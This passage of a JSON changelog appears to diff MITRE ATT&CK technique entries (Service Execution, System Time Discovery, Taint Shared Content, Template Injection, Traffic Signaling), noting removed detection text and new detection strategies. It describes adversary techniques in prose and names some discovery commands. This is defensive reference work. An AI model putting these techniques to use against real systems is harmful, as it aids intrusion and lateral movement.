Creation\", \"Command: Command Execution\", \"Service: Service Creation\", \"File: File Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:02.098000+00:00\", \"old_value\": \"2025-04-15 19:58:46.562000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Every Launch Agent and Launch Daemon must have a corresponding plist file on disk which can be monitored. Monitor for recently modified or created plist files with a significant change to the executable path executed with the command-line launchctl command. Plist files are located in the root, system, and users /Library/LaunchAgents or /Library/LaunchDaemons folders. \\n\\nMonitor command-line execution of the launchctl command immediately followed by abnormal network connections. [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s with executable paths pointing to /tmp and /Shared folders locations are potentially suspicious. \\n\\nWhen removing [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s ensure the services are unloaded prior to deleting plist files.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Every Launch Agent and Launch Daemon must have a corresponding plist file on disk which can be monitored. Monitor for recently modified or created plist files with a significant change to the executable path executed with the command-line launchctl command. Plist files are located in the root, system, and users /Library/LaunchAgents or /Library/LaunchDaemons folders. \\n-\\n-Monitor command-line execution of the launchctl command immediately followed by abnormal network connections. [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s with executable paths pointing to /tmp and /Shared folders locations are potentially suspicious. \\n-\\n-When removing [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s ensure the services are unloaded prior to deleting plist files.\"}}}", + "previous_version": "1.3", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)", + "DS0019: Service (Service Creation)", + "DS0022: File (File Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0265: Detection Strategy for System Services: Launchctl" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-03-10 18:33:36.159000+00:00", + "modified": "2025-10-24 17:49:35.506000+00:00", + "name": "Service Execution", + "description": "Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager (services.exe) is an interface to manage and manipulate services.(Citation: Microsoft Service Control Manager) The service control manager is accessible to users via GUI components as well as system utilities such as sc.exe and [Net](https://attack.mitre.org/software/S0039).\n\n[PsExec](https://attack.mitre.org/software/S0029) can also be used to execute commands or payloads via a temporary Windows service created through the service control manager API.(Citation: Russinovich Sysinternals) Tools such as [PsExec](https://attack.mitre.org/software/S0029) and sc.exe can accept remote servers as arguments and may be used to conduct remote execution.\n\nAdversaries may leverage these mechanisms to execute malicious content. This can be done by either executing a new or modified service. This technique is the execution used in conjunction with [Windows Service](https://attack.mitre.org/techniques/T1543/003) during service persistence or privilege escalation.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1569/002", + "external_id": "T1569.002" + }, + { + "source_name": "Microsoft Service Control Manager", + "description": "Microsoft. (2018, May 31). Service Control Manager. Retrieved March 28, 2020.", + "url": "https://docs.microsoft.com/windows/win32/services/service-control-manager" + }, + { + "source_name": "Russinovich Sysinternals", + "description": "Russinovich, M. (2014, May 2). Windows Sysinternals PsExec v2.11. Retrieved May 13, 2015.", + "url": "https://technet.microsoft.com/en-us/sysinternals/bb897553.aspx" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_remote_support": false, + "x_mitre_version": "1.3", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_remote_support']\": false}, \"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Windows Registry: Windows Registry Key Modification\", \"Network Traffic: Network Traffic Flow\", \"Service: Service Creation\", \"Process: Process Creation\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:35.506000+00:00\", \"old_value\": \"2025-04-15 19:59:20.444000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Changes to service Registry entries and command line invocation of tools capable of modifying services that do not correlate with known software, patch cycles, etc., may be suspicious. If a service is used only to execute a binary or script and not to persist, then it will likely be changed back to its original form shortly after the service is restarted so the service is not left broken, as is the case with the common administrator tool [PsExec](https://attack.mitre.org/software/S0029).\"}}}", + "previous_version": "1.3", + "changelog_mitigations": { + "shared": [ + "M1022: Restrict File and Directory Permissions", + "M1026: Privileged Account Management", + "M1040: Behavior Prevention on Endpoint" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)", + "DS0019: Service (Service Creation)", + "DS0024: Windows Registry (Windows Registry Key Modification)", + "DS0029: Network Traffic (Network Traffic Flow)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0421: Detection Strategy for System Services Service Execution" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:31:37.450000+00:00", + "modified": "2025-10-24 17:49:36.399000+00:00", + "name": "System Time Discovery", + "description": "An adversary may gather the system time and/or time zone settings from a local or remote system. The system time is set and stored by services, such as the Windows Time Service on Windows or systemsetup on macOS.(Citation: MSDN System Time)(Citation: Technet Windows Time Service)(Citation: systemsetup mac time) These time settings may also be synchronized between systems and services in an enterprise network, typically accomplished with a network time server within a domain.(Citation: Mac Time Sync)(Citation: linux system time)\n\nSystem time information may be gathered in a number of ways, such as with [Net](https://attack.mitre.org/software/S0039) on Windows by performing net time \\\\hostname to gather the system time on a remote system. The victim's time zone may also be inferred from the current system time or gathered by using w32tm /tz.(Citation: Technet Windows Time Service) In addition, adversaries can discover device uptime through functions such as GetTickCount() to determine how long it has been since the system booted up.(Citation: Virtualization/Sandbox Evasion)\n\nOn network devices, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `show clock detail` can be used to see the current time configuration.(Citation: show_clock_detail_cisco_cmd) On ESXi servers, `esxcli system clock get` can be used for the same purpose.\n\nIn addition, system calls \u2013 such as time() \u2013 have been used to collect the current time on Linux devices.(Citation: MAGNET GOBLIN) On macOS systems, adversaries may use commands such as systemsetup -gettimezone or timeIntervalSinceNow to gather current time zone information or current date and time.(Citation: System Information Discovery Technique)(Citation: ESET DazzleSpy Jan 2022)\n\nThis information could be useful for performing other techniques, such as executing a file with a [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053)(Citation: RSA EU12 They're Inside), or to discover locality information based on time zone to assist in victim targeting (i.e. [System Location Discovery](https://attack.mitre.org/techniques/T1614)). Adversaries may also use knowledge of system time as part of a time bomb, or delaying execution until a specified date/time.(Citation: AnyRun TimeBomb)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1124", + "external_id": "T1124" + }, + { + "source_name": "systemsetup mac time", + "description": "Apple Support. (n.d.). About systemsetup in Remote Desktop. Retrieved March 27, 2024.", + "url": "https://support.apple.com/en-gb/guide/remote-desktop/apd95406b8d/mac" + }, + { + "source_name": "linux system time", + "description": "ArchLinux. (2024, February 1). System Time. Retrieved March 27, 2024.", + "url": "https://wiki.archlinux.org/title/System_time" + }, + { + "source_name": "MAGNET GOBLIN", + "description": "Check Point Research. (2024, March 8). MAGNET GOBLIN TARGETS PUBLICLY FACING SERVERS USING 1-DAY VULNERABILITIES. Retrieved March 27, 2024.", + "url": "https://research.checkpoint.com/2024/magnet-goblin-targets-publicly-facing-servers-using-1-day-vulnerabilities/" + }, + { + "source_name": "show_clock_detail_cisco_cmd", + "description": "Cisco. (2023, March 6). show clock detail - Cisco IOS Security Command Reference: Commands S to Z . Retrieved July 13, 2022.", + "url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/security/s1/sec-s1-cr-book/sec-cr-s2.html#wp1896741674" + }, + { + "source_name": "Mac Time Sync", + "description": "Cone, Matt. (2021, January 14). Synchronize your Mac's Clock with a Time Server. Retrieved March 27, 2024.", + "url": "https://www.macinstruct.com/tutorials/synchronize-your-macs-clock-with-a-time-server/" + }, + { + "source_name": "ESET DazzleSpy Jan 2022", + "description": "M.L\u00e9veill\u00e9, M., Cherepanov, A.. (2022, January 25). Watering hole deploys new macOS malware, DazzleSpy, in Asia. Retrieved May 6, 2022.", + "url": "https://www.welivesecurity.com/2022/01/25/watering-hole-deploys-new-macos-malware-dazzlespy-asia/" + }, + { + "source_name": "AnyRun TimeBomb", + "description": "Malicious History. (2020, September 17). Time Bombs: Malware With Delayed Execution. Retrieved April 22, 2021.", + "url": "https://any.run/cybersecurity-blog/time-bombs-malware-with-delayed-execution/" + }, + { + "source_name": "Technet Windows Time Service", + "description": "Mathers, B. (2016, September 30). Windows Time Service Tools and Settings. Retrieved November 25, 2016.", + "url": "https://technet.microsoft.com/windows-server-docs/identity/ad-ds/get-started/windows-time-service/windows-time-service-tools-and-settings" + }, + { + "source_name": "MSDN System Time", + "description": "Microsoft. (n.d.). System Time. Retrieved November 25, 2016.", + "url": "https://msdn.microsoft.com/ms724961.aspx" + }, + { + "source_name": "RSA EU12 They're Inside", + "description": "Rivner, U., Schwartz, E. (2012). They\u2019re Inside\u2026 Now What?. Retrieved November 25, 2016.", + "url": "https://www.rsaconference.com/writable/presentations/file_upload/ht-209_rivner_schwartz.pdf" + }, + { + "source_name": "System Information Discovery Technique", + "description": "YUCEEL, Huseyin Can. Picus Labs. (2022, June 9). The System Information Discovery Technique Explained - MITRE ATT&CK T1082. Retrieved March 27, 2024.", + "url": "https://www.picussecurity.com/resource/the-system-information-discovery-technique-explained-mitre-attack-t1082" + }, + { + "source_name": "Virtualization/Sandbox Evasion", + "description": "YUCEEL, Huseyin Can. Picus Labs. (2022, June 9). Virtualization/Sandbox Evasion - How Attackers Avoid Malware Analysis. Retrieved December 26, 2023.", + "url": "https://www.picussecurity.com/resource/virtualization/sandbox-evasion-how-attackers-avoid-malware-analysis" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "FIRST.ORG's Cyber Threat Intelligence SIG", + "Austin Clark, @c2defense" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "ESXi", + "Linux", + "macOS", + "Network Devices", + "Windows" + ], + "x_mitre_version": "1.5", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: OS API Execution\", \"Command: Command Execution\", \"Process: Process Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:36.399000+00:00\", \"old_value\": \"2025-04-15 19:59:21.176000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Command-line interface monitoring may be useful to detect instances of net.exe or other command-line utilities being used to gather system time or time zone. Methods of detecting API use for gathering this information are likely less useful due to how often they may be used by legitimate software.\\n\\nFor network infrastructure devices, collect AAA logging to monitor `show` commands being run by non-standard users from non-standard locations.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Command-line interface monitoring may be useful to detect instances of net.exe or other command-line utilities being used to gather system time or time zone. Methods of detecting API use for gathering this information are likely less useful due to how often they may be used by legitimate software.\\n-\\n-For network infrastructure devices, collect AAA logging to monitor `show` commands being run by non-standard users from non-standard locations.\"}}}", + "previous_version": "1.5", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (OS API Execution)", + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0151: Behavior-chain, platform-aware detection strategy for T1124 System Time Discovery" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--246fd3c7-f5e3-466d-8787-4c13d9e3b61c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:31:01.759000+00:00", + "modified": "2025-10-24 17:48:32.156000+00:00", + "name": "Taint Shared Content", + "description": "\nAdversaries may deliver payloads to remote systems by adding content to shared storage locations, such as network drives or internal code repositories. Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary's code on a remote system. Adversaries may use tainted shared content to move laterally.\n\nA directory share pivot is a variation on this technique that uses several other techniques to propagate malware when users access a shared network directory. It uses [Shortcut Modification](https://attack.mitre.org/techniques/T1547/009) of directory .LNK files that use [Masquerading](https://attack.mitre.org/techniques/T1036) to look like the real directories, which are hidden through [Hidden Files and Directories](https://attack.mitre.org/techniques/T1564/001). The malicious .LNK-based directories have an embedded command that executes the hidden malware file in the directory and then opens the real intended directory so that the user's expected action still occurs. When used with frequently used network directories, the technique may result in frequent reinfections and broad access to systems and potentially to new and higher privileged accounts. (Citation: Retwin Directory Share Pivot)\n\nAdversaries may also compromise shared network directories through binary infections by appending or prepending its code to the healthy binary on the shared network directory. The malware may modify the original entry point (OEP) of the healthy binary to ensure that it is executed before the legitimate code. The infection could continue to spread via the newly infected file when it is executed by a remote system. These infections may target both binary and non-binary formats that end with extensions including, but not limited to, .EXE, .DLL, .SCR, .BAT, and/or .VBS.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "lateral-movement" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1080", + "external_id": "T1080" + }, + { + "source_name": "Retwin Directory Share Pivot", + "description": "Routin, D. (2017, November 13). Abusing network shares for efficient lateral movements and privesc (DirSharePivot). Retrieved April 12, 2018.", + "url": "https://rewtin.blogspot.ch/2017/11/abusing-user-shares-for-efficient.html" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Michal Dida, ESET", + "David Routin" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "SaaS", + "Linux", + "macOS", + "Office Suite" + ], + "x_mitre_version": "1.6", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Share: Network Share Access\", \"Process: Process Creation\", \"File: File Modification\", \"File: File Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:32.156000+00:00\", \"old_value\": \"2025-04-15 19:58:14.334000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Processes that write or overwrite many files to a network shared directory may be suspicious. Monitor processes that are executed from removable media for malicious or abnormal activity such as network connections due to Command and Control and possible network Discovery techniques.\\n\\nFrequently scan shared network directories for malicious files, hidden files, .LNK files, and other file types that may not typical exist in directories used to share specific types of content.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Processes that write or overwrite many files to a network shared directory may be suspicious. Monitor processes that are executed from removable media for malicious or abnormal activity such as network connections due to Command and Control and possible network Discovery techniques.\\n-\\n-Frequently scan shared network directories for malicious files, hidden files, .LNK files, and other file types that may not typical exist in directories used to share specific types of content.\"}}}", + "previous_version": "1.6", + "changelog_mitigations": { + "shared": [ + "M1022: Restrict File and Directory Permissions", + "M1038: Execution Prevention", + "M1049: Antivirus/Antimalware", + "M1050: Exploit Protection" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0022: File (File Creation)", + "DS0022: File (File Modification)", + "DS0033: Network Share (Network Share Access)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0471: Detection of Tainted Content Written to Shared Storage" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--dc31fe1e-d722-49da-8f5f-92c7b5aff534", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17 00:14:20.652000+00:00", + "modified": "2025-10-24 17:49:28.862000+00:00", + "name": "Template Injection", + "description": "Adversaries may create or modify references in user document templates to conceal malicious code or force authentication attempts. For example, Microsoft\u2019s Office Open XML (OOXML) specification defines an XML-based format for Office documents (.docx, xlsx, .pptx) to replace older binary formats (.doc, .xls, .ppt). OOXML files are packed together ZIP archives compromised of various XML files, referred to as parts, containing properties that collectively define how a document is rendered.(Citation: Microsoft Open XML July 2017)\n\nProperties within parts may reference shared public resources accessed via online URLs. For example, template properties may reference a file, serving as a pre-formatted document blueprint, that is fetched when the document is loaded.\n\nAdversaries may abuse these templates to initially conceal malicious code to be executed via user documents. Template references injected into a document may enable malicious payloads to be fetched and executed when the document is loaded.(Citation: SANS Brian Wiltse Template Injection) These documents can be delivered via other techniques such as [Phishing](https://attack.mitre.org/techniques/T1566) and/or [Taint Shared Content](https://attack.mitre.org/techniques/T1080) and may evade static detections since no typical indicators (VBA macro, script, etc.) are present until after the malicious payload is fetched.(Citation: Redxorblue Remote Template Injection) Examples have been seen in the wild where template injection was used to load malicious code containing an exploit.(Citation: MalwareBytes Template Injection OCT 2017)\n\nAdversaries may also modify the *\\template control word within an .rtf file to similarly conceal then download malicious code. This legitimate control word value is intended to be a file destination of a template file resource that is retrieved and loaded when an .rtf file is opened. However, adversaries may alter the bytes of an existing .rtf file to insert a template control word field to include a URL resource of a malicious payload.(Citation: Proofpoint RTF Injection)(Citation: Ciberseguridad Decoding malicious RTF files)\n\nThis technique may also enable [Forced Authentication](https://attack.mitre.org/techniques/T1187) by injecting a SMB/HTTPS (or other credential prompting) URL and triggering an authentication attempt.(Citation: Anomali Template Injection MAR 2018)(Citation: Talos Template Injection July 2017)(Citation: ryhanson phishery SEPT 2016)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1221", + "external_id": "T1221" + }, + { + "source_name": "Microsoft Open XML July 2017", + "description": "Microsoft. (2014, July 9). Introducing the Office (2007) Open XML File Formats. Retrieved July 20, 2018.", + "url": "https://docs.microsoft.com/previous-versions/office/developer/office-2007/aa338205(v=office.12)" + }, + { + "source_name": "SANS Brian Wiltse Template Injection", + "description": "Wiltse, B.. (2018, November 7). Template Injection Attacks - Bypassing Security Controls by Living off the Land. Retrieved April 10, 2019.", + "url": "https://www.sans.org/reading-room/whitepapers/testing/template-injection-attacks-bypassing-security-controls-living-land-38780" + }, + { + "source_name": "Redxorblue Remote Template Injection", + "description": "Hawkins, J. (2018, July 18). Executing Macros From a DOCX With Remote Template Injection. Retrieved October 12, 2018.", + "url": "http://blog.redxorblue.com/2018/07/executing-macros-from-docx-with-remote.html" + }, + { + "source_name": "MalwareBytes Template Injection OCT 2017", + "description": "Segura, J. (2017, October 13). Decoy Microsoft Word document delivers malware through a RAT. Retrieved July 21, 2018.", + "url": "https://blog.malwarebytes.com/threat-analysis/2017/10/decoy-microsoft-word-document-delivers-malware-through-rat/" + }, + { + "source_name": "Proofpoint RTF Injection", + "description": "Raggi, M. (2021, December 1). Injection is the New Black: Novel RTF Template Inject Technique Poised for Widespread Adoption\u202fBeyond APT Actors\u202f. Retrieved December 9, 2021.", + "url": "https://www.proofpoint.com/us/blog/threat-insight/injection-new-black-novel-rtf-template-inject-technique-poised-widespread" + }, + { + "source_name": "Ciberseguridad Decoding malicious RTF files", + "description": "Pedrero, R.. (2021, July). Decoding malicious RTF files. Retrieved November 16, 2021.", + "url": "https://ciberseguridad.blog/decodificando-ficheros-rtf-maliciosos/" + }, + { + "source_name": "Anomali Template Injection MAR 2018", + "description": "Intel_Acquisition_Team. (2018, March 1). Credential Harvesting and Malicious File Delivery using Microsoft Office Template Injection. Retrieved July 20, 2018.", + "url": "https://forum.anomali.com/t/credential-harvesting-and-malicious-file-delivery-using-microsoft-office-template-injection/2104" + }, + { + "source_name": "Talos Template Injection July 2017", + "description": "Baird, S. et al.. (2017, July 7). Attack on Critical Infrastructure Leverages Template Injection. Retrieved July 21, 2018.", + "url": "https://blog.talosintelligence.com/2017/07/template-injection.html" + }, + { + "source_name": "ryhanson phishery SEPT 2016", + "description": "Hanson, R. (2016, September 24). phishery. Retrieved July 21, 2018.", + "url": "https://github.com/ryhanson/phishery" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Michael Raggi @aRtAGGI", + "Brian Wiltse @evalstrings", + "Patrick Campbell, @pjcampbe11" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.4", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Connection Creation\", \"Process: Process Creation\", \"Network Traffic: Network Traffic Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:28.862000+00:00\", \"old_value\": \"2025-04-25 15:16:15.516000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Analyze process behavior to determine if user document applications (such as Office) are performing actions, such as opening network connections, reading files, spawning abnormal child processes (ex: [PowerShell](https://attack.mitre.org/techniques/T1059/001)), or other suspicious actions that could relate to post-compromise behavior.\\n\\nMonitor .rtf files for strings indicating the *\\\\template control word has been modified to retrieve a URL resource, such as *\\\\template http or *\\\\template \\\\u-.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Analyze process behavior to determine if user document applications (such as Office) are performing actions, such as opening network connections, reading files, spawning abnormal child processes (ex: [PowerShell](https://attack.mitre.org/techniques/T1059/001)), or other suspicious actions that could relate to post-compromise behavior.\\n-\\n-Monitor .rtf files for strings indicating the *\\\\template control word has been modified to retrieve a URL resource, such as *\\\\template http or *\\\\template \\\\u-.\"}}}", + "previous_version": "1.4", + "changelog_mitigations": { + "shared": [ + "M1017: User Training", + "M1031: Network Intrusion Prevention", + "M1042: Disable or Remove Feature or Program", + "M1049: Antivirus/Antimalware" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0029: Network Traffic (Network Connection Creation)", + "DS0029: Network Traffic (Network Traffic Content)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0566: Template Injection Detection - Windows" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--451a9977-d255-43c9-b431-66de80130c8c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18 17:59:24.739000+00:00", + "modified": "2025-10-24 17:48:43.225000+00:00", + "name": "Traffic Signaling", + "description": "Adversaries may use traffic signaling to hide open ports or other malicious functionality used for persistence or command and control. Traffic signaling involves the use of a magic value or sequence that must be sent to a system to trigger a special response, such as opening a closed port or executing a malicious task. This may take the form of sending a series of packets with certain characteristics before a port will be opened that the adversary can use for command and control. Usually this series of packets consists of attempted connections to a predefined sequence of closed ports (i.e. [Port Knocking](https://attack.mitre.org/techniques/T1205/001)), but can involve unusual flags, specific strings, or other unique characteristics. After the sequence is completed, opening a port may be accomplished by the host-based firewall, but could also be implemented by custom software.\n\nAdversaries may also communicate with an already open port, but the service listening on that port will only respond to commands or trigger other malicious functionality if passed the appropriate magic value(s).\n\nThe observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.\n\nOn network devices, adversaries may use crafted packets to enable [Network Device Authentication](https://attack.mitre.org/techniques/T1556/004) for standard services offered by the device such as telnet. Such signaling may also be used to open a closed service port such as telnet, or to trigger module modification of malware implants on the device, adding, removing, or changing malicious capabilities. Adversaries may use crafted packets to attempt to connect to one or more (open or closed) ports, but may also attempt to connect to a router interface, broadcast, and network address IP on the same port in order to achieve their goals and objectives.(Citation: Cisco Synful Knock Evolution)(Citation: Mandiant - Synful Knock)(Citation: Cisco Blog Legacy Device Attacks) To enable this traffic signaling on embedded devices, adversaries must first achieve and leverage [Patch System Image](https://attack.mitre.org/techniques/T1601/001) due to the monolithic nature of the architecture.\n\nAdversaries may also use the Wake-on-LAN feature to turn on powered off systems. Wake-on-LAN is a hardware feature that allows a powered down system to be powered on, or woken up, by sending a magic packet to it. Once the system is powered on, it may become a target for lateral movement.(Citation: Bleeping Computer - Ryuk WoL)(Citation: AMD Magic Packet)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "command-and-control" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1205", + "external_id": "T1205" + }, + { + "source_name": "Bleeping Computer - Ryuk WoL", + "description": "Abrams, L. (2021, January 14). Ryuk Ransomware Uses Wake-on-Lan To Encrypt Offline Devices. Retrieved February 11, 2021.", + "url": "https://www.bleepingcomputer.com/news/security/ryuk-ransomware-uses-wake-on-lan-to-encrypt-offline-devices/" + }, + { + "source_name": "AMD Magic Packet", + "description": "AMD. (1995, November 1). Magic Packet Technical White Paper. Retrieved February 17, 2021.", + "url": "https://www.amd.com/system/files/TechDocs/20213.pdf" + }, + { + "source_name": "Mandiant - Synful Knock", + "description": "Bill Hau, Tony Lee, Josh Homan. (2015, September 15). SYNful Knock - A Cisco router implant - Part I. Retrieved November 17, 2024.", + "url": "https://cloud.google.com/blog/topics/threat-intelligence/synful-knock-acis/" + }, + { + "source_name": "Cisco Synful Knock Evolution", + "description": "Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020.", + "url": "https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices" + }, + { + "source_name": "Hartrell cd00r 2002", + "description": "Hartrell, Greg. (2002, August). Get a handle on cd00r: The invisible backdoor. Retrieved October 13, 2018.", + "url": "https://www.giac.org/paper/gcih/342/handle-cd00r-invisible-backdoor/103631" + }, + { + "source_name": "Cisco Blog Legacy Device Attacks", + "description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.", + "url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954" + }, + { + "source_name": "GitLab WakeOnLAN", + "description": "Perry, David. (2020, August 11). WakeOnLAN (WOL). Retrieved February 17, 2021.", + "url": "https://gitlab.com/wireshark/wireshark/-/wikis/WakeOnLAN" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Tony Lee", + "Josh Day, Gigamon" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Network Devices", + "Windows" + ], + "x_mitre_version": "2.5", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Content\", \"Network Traffic: Network Connection Creation\", \"Process: Process Creation\", \"Network Traffic: Network Traffic Flow\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:43.225000+00:00\", \"old_value\": \"2025-04-15 19:58:27.071000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Record 